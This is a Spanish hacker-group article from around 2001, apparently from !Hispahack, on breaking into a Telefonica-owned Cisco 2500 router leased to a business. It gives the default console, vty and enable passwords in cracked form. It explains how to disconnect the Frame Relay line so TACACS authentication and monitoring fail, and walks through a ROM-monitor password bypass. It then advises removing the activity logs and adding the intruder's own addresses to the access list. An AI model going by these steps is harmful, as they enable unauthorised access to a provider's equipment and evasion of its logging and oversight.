ANALISIS DEL CISCO 2500 DE TELEFONICA

En estos tiempos en que todo el mundo quiere subirse al carro de las telecomunicaciones, es muy frecuente encontrarse con una amplia variedad de empresas que poseen una red local y ansían 'conocer mundo'. Aquí es donde muchos caen en Telefonica como operador global de Telecomunicaciones (global y, hasta hace bien poco, monopolista). Dado que, en la mayoría de casos, el ancho de banda que se necesita es inferior a los 2mbps, resulta cómodo crear un PVC y conectar la LAN del cliente a una red de conmutación de circuitos virtuales por Frame Relay y en las dependencias del cliente se instala la UTR y un router que servirá de pasarela entre el anillo de Telefonica y la LAN del cliente. Este router suele tratarse de un Cisco 2500 (o 2600 en las instalaciones mas recientes), el cual suele estar bien protegido contra accesos externos.

Por que accesos externos? Las empresas tienden a crecer, y las maquinas no quedan al margen de este crecimiento. Cada vez hay mas departamentos, mas plantas, incluso mas edificios, en resumen, más gente, y por tanto, más maquinas. Tarde o temprano necesitaremos implementar alguna medida de seguridad, o bien necesitaremos realizar subnetting y dividir la clase C que tenemos en media clase C para una planta, y la otra para la otra mitad. O bien, necesitaremos instalar una DMZ bien diferenciada del resto de maquinas de la oficina, o bien, tenemos varias redes y queremos controlar el consumo de ancho de banda de cada red. Cualquier cambio requiere modificar la configuración del router. En condiciones normales, esto no representaría ningún problema, ya que todo se solucionará con una llamadita de teléfono, pero se trata de Telefonica. Esto significa que hay que cursar una solicitud (vía fax, por supuesto) rogando encarecidamente que configurasen el router de tal forma. Telefonicapara estas cosas pone muchas pegas, incluso hay veces que han intentado cobrar por servicios suplementarios. A todo esto, tenemos que añadir que hay casos en los que han pasado DOS meses y nadie de Telefonica ha tocado el router... Ademas, resulta muy engorroso que digamos "ahora vamos a cerrar tal puerto" y tengamos que esperar días y semanas hasta que el cambio se hace efectivo. Hay veces que toca recurrir a técnicas poco ortodoxas para ahorrar tiempo, disgustos y dinero.

Por si fuera poco, el router no solo tiene cerrada la consola y el acceso remoto, sino que ademas registra todo tipo de actividad realizada sobre el propio router. Desde conexión/desconexión de interfaces hasta cambios en la configuración, rebotarlo, o sencillamente, acceder a el. No debemos olvidar que estos routers, rara vez son vendidos al cliente, sino que permanecen en régimen de alquiler, siendo propiedad de Telefonica, la cual se limita a ofrecer el servicio contratado, por tanto, no existe ningún motivo que justifique un acceso al router (ni remoto ni por consola). Cuando pasa algo con el router suelen salirnos con esas, así que hay que andarse con ojo.

Existen muchos métodos para acceder "por la fuerza" al router, pero en este articulo solo cubriremos dos formas. El primer método es un método 'limpio'. Consiste en desconectar la frame relay y acceder con los passwords por defecto. Configurar lo que tengamos que configurar, largarnos y volver a pinchar la frame relay. No hace falta ni siquiera rebotar el router. El segundo método consiste en entrar por la fuerza. Deberemos utilizarla cuando las passwords por defecto hayan sido cambiadas o cuando el plan A no salga según lo previsto.

Existe una solución alternativa que consistiría en dejar en paz al router y montar una maquina linux que haga de bridge/firewall/trafficshaper/ids. Esta solución la cubriremos próximamente en otro articulo.

Antes de entrar en materia, advertir que este documento no es ningún HOWTO, ni explica como funcionan los comandos del IOS, ni nada. Se da por entendido que el lector interesado en el articulo ya posee suficientes conocimientos de IOS y redes TCP/IP. De ahí que no entremos en detalles explicando el funcionamiento del router, de las lineas Frame Relay, ni tampoco hagamos referencia a documentación adicional introductorio.

Por ultimo, anunciar que este documento se ha publicado exclusivamente con fines educativos y didácticos. El autor de este documento declina cualquier tipo de responsabilidad por el uso o abuso que cualquier usuario haga de la información relatada en este documento.

Plan A : Por las buenas

-= Teoría =-

Estudiemos algunos puntos de la configuración del router tal y como nos lo dejan configurado los de Telefonica. Para no complicarnos, el router tiene tres claves : clave de consola (para acceder desde puerto de consola), clave de vty (acceso remoto vía telnet, etc), y clave enable (para acceder al modo privilegiado de comandos).

Estos son algunos parámetros de la configuración del router :

enable use-tacacs
enable last-resort password
enable password 7 09414B021013121E

tacacs-server host 172.24.7.171
tacacs-server last-resort password
tacacs-server timeout 10
tacacs-server extended
tacacs-server authenticate enable
tacacs-server notify enable

Bien, las tres primeras lineas, le dicen al router que cuando alguien quiera acceder al modo privilegiado (enable) que se autentifique contra un servidor tacacs, y si no responde el servidor, que utilice la password predefinida. Afortunadamente el sistema de cisco para encriptar passwords es bastante sencillo de franquear. La password por defecto del enable es 'mekivel'.

Las ultimas seis lineas son parámetros del servidor tacacs. No nos interesan a menos que queramos 'investigar' un poco en los servidores tacacs de la red interna de Telefonica. Y, en estos momentos, no nos interesa en absoluto. Alla vosotros con lo que hagáis.

Con las passwords de vty, pasa lo mismo. La configuración es esta :

line vty 0 4
access-class 7 in
password 7 1110160A1B1D0009
login tacacs

Al igual que con el enable, cuando aquí alguien hace un telnet al router, autentifica contra el servidor tacacs, y si no responde, utiliza la password por defecto, que en este caso es 'yooloke'. Desgraciadamente, aquí hay un handicap adicional, y es esa lista de acceso numero 7 :

access-list 7 permit 172.24.7.128 0.0.0.63
access-list 7 permit 192.168.21.0 0.0.0.255
access-list 7 deny any

Esto significa que solo se puede acceder por telnet al router desde los pools de Ips 172.24.7.128/255.255.255.192 y 192.168.21.0/255.255.255.0 y el resto de IPs tienen denegado el acceso.

Por ultimo, esta es la configuración de los parámetros de la consola :

line con 0
password 7 06171A2E4F460811
login tacacs

Una vez mas, vuelve a suceder lo mismo; lanza la autentificacion contra el servidor tacacs y en caso de que el servidor tacacs no responda, usa la password por defecto, que en este caso es 'quochah'. En el puerto de consola no hay listas de acceso ni nada, dado que la información va por puerto serie y no va por IP ni nada.

Por otra parte, estos son los comandos de gestión y logging del router:

logging trap notifications
logging 192.168.21.100
snmp-server community private RW 2
snmp-server community PUBLIC RO 1
snmp-server community GESTION RO 5
snmp-server community ESCRITO RW 5
snmp-server trap-source Loopback400
snmp-server trap-authentication
snmp-server enable traps isdn
snmp-server enable traps config
snmp-server enable traps bgp
snmp-server enable traps frame-relay
snmp-server host 192.168.21.100 private snmp
snmp-server host 192.168.21.101 PUBLIC snmp
snmp-server host 172.24.7.189 ESCRITO tty frame-relay isdn config snmp

Aquí la cosa se complica. El router loguea todos los mensajes 'notify' a un servidor syslog (unix) en 192.168.21.100. En cuanto al snmp, vemos que tiene definidas cuatro comunidades SNMP, cada una de ellas con sus respectivas listas de acceso, y manda distintos logs a distintas maquinas. En la ultima linea, vemos que todos los mensajes de tty, actividad sobre la frame-relay, rdsi (aunque ese router no tiene rdsi), modificación de la configuración del router y traps snmp normales, los envía a la 172.24.7.189. Así que mientras el router tenga conectividad con los servidores syslog y a los agentes snmp, no podemos hacer nada con el router. Deberemos desconectar la frame relay.

Bien, ya hemos visto bastante teoría, vamos a currar un poco.

-= Practica =-

Paso 1 : Preparamos el terminal de consola.

Conectamos un ordenador con un terminal de comunicaciones tipo hyperterminal al puerto de la consola del router. Para quienes hayáis trabajado con Cisco, se trata del cable plano azul. Si queréis construirlo, podéis utilizar un cable de 4 pares trenzados UTP Cat-5, y en un extremo grimpais un RJ-45 y en el otro un DB-9 hembra que va al puerto serie del PC. Este es el patillaje :

Patilla 2 del RJ45 (DTR) al 4 del DB9 (DSR)
Patilla 3 del RJ45 (TD) al 3 del DB9 (RD)
Patillas 4 y 5 del RJ45 (GND) al 5 del DB9 (GND)
Patilla 6 del RJ45 (RD) al 2 del DB9 (TD)
Patilla 7 del RJ45 (DSR) al 6 del DB9 (DTR)

Las patillas 1 y 8 del RJ45 no están conectadas.

Una vez tenemos el cable, configuramos el terminal a 9600-8N1, conectamos y pulsamos enter. Si todo va bien, debería aparecernos una consola de cisco pidiendo un username/password. Ojo, es posible de que un técnico se haya dejado la consola abierta, con lo cual nos ahorraría muchísimo trabajo :)

Paso 2 : Desconectamos la frame-relay.

Desenroscamos los terminales del conector Serial0, que se encuentra en la parte posterior del router y desconectamos el conector. Se trata de un cable azul oscuro que va desde el router al UTR.

En este momento, y suponiendo que en Telefonica haya algún admin trabajando, el admin recibirá un trap snmp informando que se ha perdido el LMI de la frame-relay y otro de que el interface Serial0 esta 'down'. Adicionalmente, en el syslog, recibirán estos dos mensajes :

%LINK-3-UPDOWN: Interface Serial0, changed state to down
%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0, changed state to down

En el 90% de los casos reales, se debe a un corte de luz, o a que el router se ha quedado atontado y se ha reseteado, o que el UTR se ha caído al suelo, o incluso que la señora de la limpieza le ha dado un escobazo al router. Es decir, que no supone ninguna alarma grave. Tranquilos que por el momento no ha pasado nada. Nadie va a mover un dedo, así que seguimos adelante.

Paso 3 : Login en el router

Pulsamos enter en el minicom y nos aparecera el típico login cisco que nos preguntara un username. Introducimos cualquier cosa, y el router nos avisara que no hay respuesta del servidor tacacs (naturalmente que no hay respuesta; puesto que la frame relay la hemos desconectado). Así que el router pedirá la password de consola por defecto, que como hemos dicho, es 'quochah'. Con el comando 'enable' viene a suceder tres cuartos de lo mismo. Si pide username, introducimos uno cualquiera hasta que nos pida la password por defecto 'mekivel'.

Plan B : Por las malas

-= Teoría =-

Cuando el Cisco se reinicia, se puede acceder al modo ROM monitor, desde el cual se pueden modificar algunos parámetros básicos de la configuración de arranque del router, por ejemplo, la imagen IOS que queremos cargar, o podemos decirle que ignore la configuración de arranque, de modo, que accederemos al router completamente desconfigurado, sin claves ni nada. Luego copiaremos la configuración original sobre la actual, y modificaremos las passwords o lo que nos interese.

-= Practica =-

[ desconectamos el conector de la frame relay y reiniciamos el router con el hyperterminal conectado al puerto de la consola ]

System Bootstrap, Version 11.0(10c), SOFTWARE
Copyright (c) 1986-1996 by cisco Systems
2500 processor with 2048 Kbytes of main memory

[ a los pocos instantes de rebotar el router, lanzamos el abort ]

Abort at 0x1098BC2 (PC)
>

[ y se nos queda el prompt > esperando alguna orden. No vamos a explicar como funciona el ROM monitor, así que vamos directos al grano. El comando e/s nos devolverá un valor concreto de la memoria: el config-register ]

>e/s2000002
2000002: 2102

[ anotamos el valor actual (2102) para acordarnos de como estaba. Ahora tenemos que modificarlo por el valor 2142. Esto significa que si el sexto bit del conf-reg esta activado (el 4 del 2142), la onfiguración del sistema no se leerá cuando el sistema se rebote, por tanto no habrá passwords ]

>o/r0x2142

[ una vez modificado el valor del conf-reg, procedemos a rebotar el router ]

>i

System Bootstrap, Version 11.0(10c), SOFTWARE
Copyright (c) 1986-1996 by cisco Systems
2500 processor with 2048 Kbytes of main memory

F3: 4229772+56080+236540 at 0x3000060

Restricted Rights Legend

[ ...blahblahblah... ]

cisco 2500 (68030) processor (revision N) with 2048K/2048K bytes of memory.
Processor board ID 13550421, with hardware revision 00000000
Bridging software.
X.25 software, Version 2.0, NET2, BFE and GOSIP compliant.
1 Ethernet/IEEE 802.3 interface(s)
2 Serial network interface(s)
32K bytes of non-volatile configuration memory.
8192K bytes of processor board System flash (Read ONLY)
--- System Configuration Dialog ---

At any point you may enter a question mark '?' for help.
Use ctrl-c to abort configuration dialog at any prompt.
Default settings are in square brackets '[]'.
Would you like to enter the initial configuration dialog? [yes]: no


Press RETURN to get started!

[ como vemos, nos pregunta si queremos utilizar el 'asistente' de cisco para configurar el router. Le decimos que NO para que no nos chafe el plan. ]

Router>ena
Router#

[ complicado, eh? ]

Router#cp startup-config running-config

[ Copiamos la configuración original sobre la actual y ya podemos comenzar ]

Una vez dentro

Bien. Independientemente del plan que hayamos utilizado, ya estamos dentro. Ya podemos hacer lo que queramos. Yo lo primero que suelo hacer es añadir los pools de IPs de mis LANs a la access-list 7, y así si tengo que entrar al router, no necesito llevarme un portátil con el cable de consola. El segundo paso suele ser quitar los logs de actividad sobre la linea de comandos del router y dejar solo los traps para la frame relay.

Vamos a estudiar un ejemplo de packet-filtering. Esta es la configuración básica de interfaces en el router:

interface Loopback400
ip address 172.22.14.132 255.255.255.255
!
interface Ethernet0
ip address 194.79.32.1 255.255.255.0
no cdp enable
!
interface Serial0
no ip address
encapsulation frame-relay IETF
carrier-delay 20
frame-relay lmi-type q933a
!
interface Serial0.16 point-to-point
description Conexion con (NRI 33710283)
ip address 172.35.1.2 255.255.255.252
carrier-delay 20
frame-relay interface-dlci 16
!
interface Serial0.20 multipoint
ip address 194.179.19.42 255.255.255.192
carrier-delay 20
frame-relay map ip 194.179.19.1 20 broadcast
!
interface Serial0.400 point-to-point
ip unnumbered Loopback400
carrier-delay 20
frame-relay interface-dlci 400
!
interface Serial0.401 point-to-point
ip unnumbered Loopback400
carrier-delay 20
frame-relay interface-dlci 401

Y esta es la tabla de rutas del router :

ip route 0.0.0.0 0.0.0.0 Serial0.16
ip route 0.0.0.0 0.0.0.0 172.35.1.1
ip route 172.22.14.129 255.255.255.255 Serial0.400
ip route 172.22.14.130 255.255.255.255 Serial0.401
ip route 172.24.2.128 255.255.255.192 Serial0.400
ip route 172.24.2.128 255.255.255.192 Serial0.401
ip route 192.168.21.0 255.255.255.0 Serial0.400
ip route 192.168.21.0 255.255.255.0 Serial0.401
ip route 194.179.2.0 255.255.255.0 194.179.19.1

Bueno. De aquí solo nos interesan las dos primeras rutas. Las otras siete rutas se utilizan para mantenimiento, administración, logging, etc.

A partir de aquí, ya podemos realizar los cambios que necesitemos, configurar el interface Eth0 para hacer subnetting, configurar lineas nat para salir hacia internet, etc.

Si vamos a filtrar accesos a nuestra red mediante listas de accesos, debemos saber que los paquetes 'vienen' por el interface multipunto (Serial0.20) y salen a internet por el punto a punto (Serial0.16). Digamos, que queremos cerrar el trafico directo entre el router y una maquina que tenemos en la 194.79.32.2. Pues tan sencillo como configurar las dos listas de acceso (una para el trafico entrante y la otra para el saliente).

access-list 101 deny ip any host 194.79.32.2
access-list 101 permit ip any any
access-list 102 deny ip host 194.79.32.2 any
access-list 102 permit ip any any

y añadimos un "ip access-group 102 out" y un "ip access-group 101 in" dentro de los interfaces serial0.16 y serial0.20 respectivamente.

Bien, esto es solo un ejemplo. De aquí en adelante, el lector es libre de configurar el router como desee. Cuando hayamos terminado de configurar el router a nuestras necesidades, guardamos la configuración, lo apagamos, reconectamos la frame relay y lo encendemos de nuevo, y ya podremos seguir trabajando con total normalidad.

Ansset

 

 (C) 1997-2001 by !Hispahack 
                Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator